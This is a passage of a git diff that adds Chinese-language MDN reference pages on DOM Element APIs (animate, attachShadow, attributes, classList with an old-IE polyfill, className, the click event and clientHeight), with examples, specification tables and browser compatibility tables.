  • paced 分配的关键帧位置,使连续关键帧之间的距离让某个步增的属性值的增长速度相同,也就是说,属性值差异越大,关键帧之间的距离越远
  • +
+ +

 

+
+
+ +

返回值

+ +

返回 {{domxref("Animation")}}.

+ +

示例

+ +

在示例 Down the Rabbit Hole (with the Web Animation API) 中, 我们用 animate() 来快速创建并运行使 #tunnel 元素无限循环缓慢升起的动画。注意关键帧的对象数组和时间可选项

+ +
document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translateY(0px)' },
+  { transform: 'translateY(-300px)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}{{Spec2('Web Animations')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("36")}}{{CompatNo}}{{ CompatGeckoDesktop("48.0")}}{{CompatNo}}23{{CompatUnknown}}
id option{{CompatChrome(50.0)}}{{CompatNo}}{{ CompatGeckoDesktop("48.0")}}{{CompatNo}}37{{CompatUnknown}}
composite, iterationComposite, and spacing options{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatChrome(39.0)}}{{CompatChrome(39.0)}}{{ CompatGeckoMobile("48.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
id option{{CompatNo}}{{CompatChrome(50.0)}}{{CompatChrome(50.0)}}{{ CompatGeckoMobile("48.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
composite, iterationComposite, and spacing options{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

更多

+ + diff --git a/files/zh-cn/web/api/element/assignedslot/index.html b/files/zh-cn/web/api/element/assignedslot/index.html new file mode 100644 index 0000000000..c586eeae45 --- /dev/null +++ b/files/zh-cn/web/api/element/assignedslot/index.html @@ -0,0 +1,89 @@ +--- +title: Element.assignedSlot +slug: Web/API/Element/assignedSlot +translation_of: Web/API/Slottable/assignedSlot +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

The assignedSlot property of the {{domxref("Element")}} interface returns the {{domxref("HTMLSlotElement")}} interface associated with the element.

+ +

Syntax

+ +
var htmlSlotElement = element.assignedSlot
+ +

Value

+ +

An instance of {{domxref("HTMLSlotElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-slotable-assignedslot','assignedSlot')}}{{Spec2('DOM WHATWG')}}
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/element/attachshadow/index.html b/files/zh-cn/web/api/element/attachshadow/index.html new file mode 100644 index 0000000000..fa1389c4e1 --- /dev/null +++ b/files/zh-cn/web/api/element/attachshadow/index.html @@ -0,0 +1,168 @@ +--- +title: Element.attachShadow() +slug: Web/API/Element/attachShadow +tags: + - API + - 元素 + - 参考 + - 方法 +translation_of: Web/API/Element/attachShadow +--- +

{{APIRef('Shadow DOM')}}

+ +

Element.attachShadow() 方法给指定的元素挂载一个Shadow DOM,并且返回对 ShadowRoot 的引用。

+ +

可以被挂载的shadow DOM元素

+ +

要注意的是,不是每一种类型的元素都可以附加到shadow root(影子根)下面。出于安全考虑,一些元素不能使用 shadow DOM(例如{{htmlelement("a")}}),以及许多其他的元素。下面是一个可以挂载 shadow root 的元素列表:

+ + + +

语法

+ +
var shadowroot = element.attachShadow(shadowRootInit);
+
+ +

参数

+ +
+
shadowRootInit
+
一个 ShadowRootInit 字典,包括下列字段: +
+
mode 模式
+
+

指定 Shadow DOM 树封装模式的字符串,可以是以下值:

+ +
    +
  • open shadow root元素可以从js外部访问根节点,例如使用 {{domxref("Element.shadowRoot")}}:
  • +
+ +
element.shadowRoot; // 返回一个ShadowRoot对象
+ +
    +
  • closed 拒绝从js外部访问关闭的shadow root节点
  • +
+ +
element.shadowRoot; // 返回null
+
+
delegatesFocus 焦点委托
+
一个布尔值, 当设置为 true 时, 指定减轻自定义元素的聚焦性能问题行为.
+ 当shadow DOM中不可聚焦的部分被点击时, 让第一个可聚焦的部分成为焦点, 并且shadow host(影子主机)将提供所有可用的 :focus 样式.
+
+
+
+ +

返回值

+ +

返回一个 {{domxref("ShadowRoot")}} 对象或者 null

+ +

异常

+ + + + + + + + + + + + + + + + + + +
异常说明
InvalidStateError
+ 无效状态错误
您添加的元素已经是一个shadow host(影子主机).
+

NotSupportedError
+ 不被支持错误

+
您应该添加 HTML 元素的命名空间之外的shadow root, 或者这个元素不能有其他shadow挂载到它上面 (见上).
+ +

示例

+ +

下面的例子取至 word-count-web-component 片段( 现场看看 ). 你可以看到使用 attachShadow() 在代码中间创建一个shadow root, 然后我们可以将自定义元素的内容挂载添加到它上面。

+ +
// 为新元素创建一个类
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // 在构造器中先调用一下 super
+    super();
+
+    // 计数器指向元素的父级
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.trim().split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // 创建一个shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // 创建文本节点并向其添加计数器
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // 将其添加到shadow root上
+    shadow.appendChild(text);
+
+    // 当元素内容发生变化时更新计数
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200);
+  }
+}
+
+// 定义新元素
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +

规范

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('DOM WHATWG', '#dom-element-attachshadow', 'attachShadow()')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.attachShadow")}}

diff --git a/files/zh-cn/web/api/element/attributes/index.html b/files/zh-cn/web/api/element/attributes/index.html new file mode 100644 index 0000000000..f720ddae44 --- /dev/null +++ b/files/zh-cn/web/api/element/attributes/index.html @@ -0,0 +1,127 @@ +--- +title: Element.attributes +slug: Web/API/Element/attributes +tags: + - API + - DOM + - Element + - Property + - Reference + - 元素 + - 参考 + - 属性 +translation_of: Web/API/Element/attributes +--- +

{{ APIRef("DOM") }}

+ +

Element.attributes 属性返回该元素所有属性节点的一个实时集合。该集合是一个 {{domxref("NamedNodeMap")}} 对象,不是一个数组,所以它没有 {{jsxref("Array", "数组")}} 的方法,其包含的 {{domxref("Attr", "属性")}} 节点的索引顺序随浏览器不同而不同。更确切地说,attributes 是字符串形式的名/值对,每一对名/值对对应一个属性节点。

+ +

语法

+ +
var attr = element.attributes;
+ +

示例

+ +

基本示例

+ +
// 获取文档中的第一个 <p> 元素
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+
+ +

遍历元素的属性

+ +

索引有利于遍历一个元素的所有属性。

+ +

在以下例子中会遍历文档中 id 为 "paragraph" 的元素的属性节点,并打印出来。

+ +
<!DOCTYPE html>
+
+<html>
+
+ <head>
+  <title>Attributes example</title>
+  <script type="text/javascript">
+   function listAttributes() {
+     var paragraph= document.getElementById("paragraph");
+     var result= document.getElementById("result");
+
+     // First, let's verify that the paragraph has some attributes
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output= "";
+       for(var i=attrs.length-1; i>=0; i--) {
+         output+= attrs[i].name + "->" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "没有属性可显示"
+     }
+   }
+  </script>
+ </head>
+
+<body>
+ <p id="paragraph" style="color: green;">Sample Paragraph</p>
+ <form action="">
+  <p>
+    <input type="button" value="显示属性及其值"
+      onclick="listAttributes();">
+    <input id="result" type="text" value="">
+  </p>
+ </form>
+</body>
+</html>
+ +

{{ EmbedLiveSample('遍历元素的属性') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}{{Spec2('DOM WHATWG')}}From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}
{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.attributes")}}

+ +

在 Firefox 22 版本之前,这个属性是被用在 {{domxref("Node")}} 上(继承至 {{domxref("Element")}})。它需要被使用在其他符合这个接口规范的浏览器上使用。

+ +

IE5.5 返回的是一个 map 形式的键值对而不是一个 attribute 的属性对象。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/classlist/index.html b/files/zh-cn/web/api/element/classlist/index.html new file mode 100644 index 0000000000..f7a905889b --- /dev/null +++ b/files/zh-cn/web/api/element/classlist/index.html @@ -0,0 +1,293 @@ +--- +title: Element.classList +slug: Web/API/Element/classList +tags: + - API + - DOM + - Element + - 元素 + - 参考 + - 只读属性 + - 属性 +translation_of: Web/API/Element/classList +--- +
{{APIRef("DOM")}}
+ +

Element.classList 是一个只读属性,返回一个元素的类属性的实时 {{domxref("DOMTokenList")}} 集合。

+ +

相比将 {{domxref("element.className")}} 作为以空格分隔的字符串来使用,classList 是一种更方便的访问元素的类列表的方法。

+ +

语法

+ +
const elementClasses = elementNodeReference.classList;
+
+ +

返回值

+ +

elementClasses 是一个 {{domxref("DOMTokenList")}} 表示  elementNodeReference 的类属性 。如果类属性未设置或为空,那么 elementClasses.length 返回 0。虽然 element.classList 本身是只读的,但是你可以使用 add() 和 remove() 方法修改它。

+ +

示例

+ +
const div = document.createElement('div');
+div.className = 'foo';
+
+// 初始状态:<div class="foo"></div>
+console.log(div.outerHTML);
+
+// 使用 classList API 移除、添加类值
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// <div class="anotherclass"></div>
+console.log(div.outerHTML);
+
+// 如果 visible 类值已存在,则移除它,否则添加它
+div.classList.toggle("visible");
+
+// add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i < 10 );
+
+console.log(div.classList.contains("foo"));
+
+// 添加或移除多个类值
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// 使用展开语法添加或移除多个类值
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// 将类值 "foo" 替换成 "bar"
+div.classList.replace("foo", "bar");
+ +
+

Firefox 26 以下的版本并未实现 add/remove/toggle 方法中的所有参数。参见 https://bugzilla.mozilla.org/show_bug.cgi?id=814014

+
+ +

Polyfill

+ +

由于Element.prototype.className属性在指定事件被更改后会触发该事件,因此旧的onpropertychange事件可用于创建活动的类列表模型。以下针对classList和多令牌列表的聚合列表确保了IE10-IE11浏览器的所有标准方法和属性的完全覆盖以及IE 6-9向其“疯狂靠近”——这可真是值得吃惊的。看看吧:

+ +
// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+    DOMTokenList.prototype.add = function(){
+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange && (prop==="className" || (prop==="classList" && !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 & IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster & cleaner version for IE8 & IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length > 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value && (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue && (this.add(newToken), true));
+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: that[nextIndex], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: nextIndex, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+
+ + + +

---------------------------------

+ + + +

这里有一个关于classList的“妙用”,我觉得很有必要给你分享一下:

+ +

我们都知道,通过JS去操控CSS确实是一件很麻烦的事情——他可能导致回流和重绘。

+ +

一般我们会这样做:

+ +

document.style.background="red";

+ +

document.style.fontSize="24";

+ +

这样的话相当于【元素的样式被改变了两次】!整个JavaScript的性能就下来了。必要的时候(对一个元素更改多个样式)我们可以“把他们合在一起”:

+ +

document.style.cssText="background:red;font-size:24;";

+ +

这一个“列表”形式也可以体现classList叫法的来源。

+ +

——它确实是一个list列表的形式:

+ +

document.getElementById("myDIV").classList.add("mystyle");

+ +

document.getElementById("myDIV").classList.remove("mystyle"[,"mystyle2",...]);

+ +

document.getElementById("myDIV").classList.item("mystyle");

+ + + +

警告

+ +

polyfill的功能有限。它目前无法在IE6-7中使用和获取“游离于文档外的”元素(例如:由document.createElement创建的元素,在它们被附加到父节点之前)。

+ +

然而,它应该在IE9中运行良好。classList的多适应性版本和W3规范之间的一个主要差异是:对于IE6-8,没有办法创建一个不可变的对象(其属性不能被直接修改的对象)。然而,在IE9中,可以通过扩展原型、冻结可见对象和覆盖本地属性方法来实现。虽然这样的动作在IE6-IE8中不起作用,即使在IE9中,这样做也会使整个网页的性能慢得像蜗牛爬行一样,使得这些修改对于这个聚合函数来说完全不切实际。 需要注意的是,在IE6-7中,这个polyfill使用window对象上的window[" uCL"]属性与CSS表达式进行通信,使用x-uCLp css属性对所有元素进行通信,使用元素[" uCL"]属性对所有元素进行通信,以允许垃圾收集并提高性能。在所有多填充浏览器(IE6-9)中,一个额外的元素[" uCLp"]属性被添加到元素以确保符合标准原型,并且一个DOMTokenList[" uCL"]属性被添加到每个元素["classList"]对象以确保DOMTokenList被绑定到它自己的元素。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM WHATWG")}}Initial definition
{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM4")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.classList")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/classname/index.html b/files/zh-cn/web/api/element/classname/index.html new file mode 100644 index 0000000000..0b071645e3 --- /dev/null +++ b/files/zh-cn/web/api/element/classname/index.html @@ -0,0 +1,126 @@ +--- +title: Element.className +slug: Web/API/Element/className +tags: + - Element.className +translation_of: Web/API/Element/className +--- +
{{APIRef("DOM")}}
+ +

概述

+ +

className 获取或设置指定元素的class属性的值。

+ +

语法

+ +
let cName = elementNodeReference.className;
+
+elementNodeReference.className = cName;
+ + + +

示例

+ +
let elm = document.getElementById("div1");
+
+if (elm.className == "fixed") {
+  // 跳过class属性为特定值的元素
+  goNextElement();
+}
+ +

注释

+ +
+

使用名称className而不是class作为属性名,是因为"class" 在JavaScript中是个保留字.

+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-element-classname", "element.className")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/click_event/index.html b/files/zh-cn/web/api/element/click_event/index.html new file mode 100644 index 0000000000..f628e9e6cc --- /dev/null +++ b/files/zh-cn/web/api/element/click_event/index.html @@ -0,0 +1,269 @@ +--- +title: click +slug: Web/API/Element/click_event +translation_of: Web/API/Element/click_event +--- +

当定点设备的按钮(通常是鼠标左键)在一个元素上被按下和放开时,click事件就会被触发。

+ +

一般信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("MouseEvent")}}
+
是否冒泡
+
Yes
+
是否可取消
+
Yes
+
对象
+
Element
+
默认动作
+
无定型
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}EventTarget事件对象 (位于DOM树最上面的元素).
type {{readonlyInline}}DOMString事件类型.
bubbles {{readonlyInline}}Boolean是否冒泡
cancelable {{readonlyInline}}Boolean是否可被取消
view {{readonlyInline}}WindowProxydocument.defaultView (该文档的window 对象)
detail {{readonlyInline}}long (float)在短时间内发生的连续点击次数的计数。
currentTarget {{readonlyInline}}EventTarget被事件监听触发的节点.
relatedTarget {{readonlyInline}}EventTarget对于 mouseover, mouseout, mouseentermouseleave 事件: 值为与其互补的事件(比如mouseenter 就为mouseleave). 否则为null.
screenX {{readonlyInline}}long点击事件发生时鼠标对应的屏幕x轴坐标.
screenY {{readonlyInline}}long点击事件发生时鼠标对应的屏幕y轴坐标.
clientX {{readonlyInline}}long点击事件发生时鼠标对应的浏览器窗口的x轴坐标.
clientY {{readonlyInline}}long点击事件发生时鼠标对应的浏览器窗口的y轴坐标.
button {{readonlyInline}}unsigned short点击时按下的鼠标按钮: 左键=0, 中间按钮=1 (如果实现的话), 右键=2. 对于配置为左手使用按钮的操作被反转的鼠标,这些值从右向左读取。
buttons {{readonlyInline}}unsigned short当鼠标事件被触发时按钮的buttons: 左键=1, 右键=2, 中间按钮=4, 第四个按钮(通常是"返回")=8,第五个按钮(通常是"前进")=16.若有两个或以上的按钮按下,返回以逻辑或运算形成的合并值.例如左键右键同时按下就返回 3 (=1 | 2). 更多信息.
mozPressure {{readonlyInline}}float压力应用于接触或tabdevice时生成的事件的数量;该值介于0(最小压力)和1(最大压力)。
ctrlKey {{readonlyInline}}boolean当事件被触发时ctrl按键被按下时为true,否则为false。
shiftKey {{readonlyInline}}boolean当事件被触发时shift按键被按下时为true,否则为false。
altKey {{readonlyInline}}boolean当事件被触发时alt按键被按下时为true,否则为false。
metaKey {{readonlyInline}}boolean当事件被触发时meta按键被按下时为true,否则为false。
+ +

样例

+ +
<div id="test"></div>
+
+<script>
+  document.getElementById("test").addEventListener("click", function( event ) {
+    // 在被点击的div内显示当前被点击次数
+    event.target.textContent = "click count: " + event.detail;
+  }, false);
+</script>
+
+ +

浏览器兼容性

+ +

Internet Explorer

+ +

Internet Explorer 8 & 9存在一个漏洞,具有经{{cssxref("background-color")}}样式计算为transparent的元素覆盖在其它元素顶端时,不会收到click事件。取而代之,所有click事件将被触发于其底下的元素。参见this live example样例。

+ +

已知会触发此漏洞的情景:

+ + + +

Safari手机版

+ +

safari手机版会有一个bug,当点击事件不是绑定在交互式的元素上(比如说HTML的div),并且也没有直接的事件监听器绑定在他们自身。可以戳 链接 查看演示。也可以看 Safari 的可点击元素 和 点击元素的定义.

+ +

解决方法如下:

+ + + +

Safari 手机版里,以下元素不会受到上述bug的影响:

+ + + +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
On disabled form elements{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatVersionUnknown}}[2]{{CompatNo}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ +

[1]只在{{HTMLElement("textarea")}} 以及某些{{HTMLElement("input")}} 元素上有效.

+ +

[2] Internet Explorer 只在{{HTMLElement("input")}}的checkboxradio元素双击时才会引发click事件.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/clientheight/index.html b/files/zh-cn/web/api/element/clientheight/index.html new file mode 100644 index 0000000000..b9cb7499ef --- /dev/null +++ b/files/zh-cn/web/api/element/clientheight/index.html @@ -0,0 +1,62 @@ +--- +title: Element.clientHeight +slug: Web/API/Element/clientHeight +tags: + - Property +translation_of: Web/API/Element/clientHeight +--- +

{{ APIRef() }}

+ +

这个属性是只读属性,对于没有定义CSS或者内联布局盒子的元素为0,否则,它是元素内部的高度(单位像素),包含内边距,但不包括水平滚动条、边框和外边距。

+ +

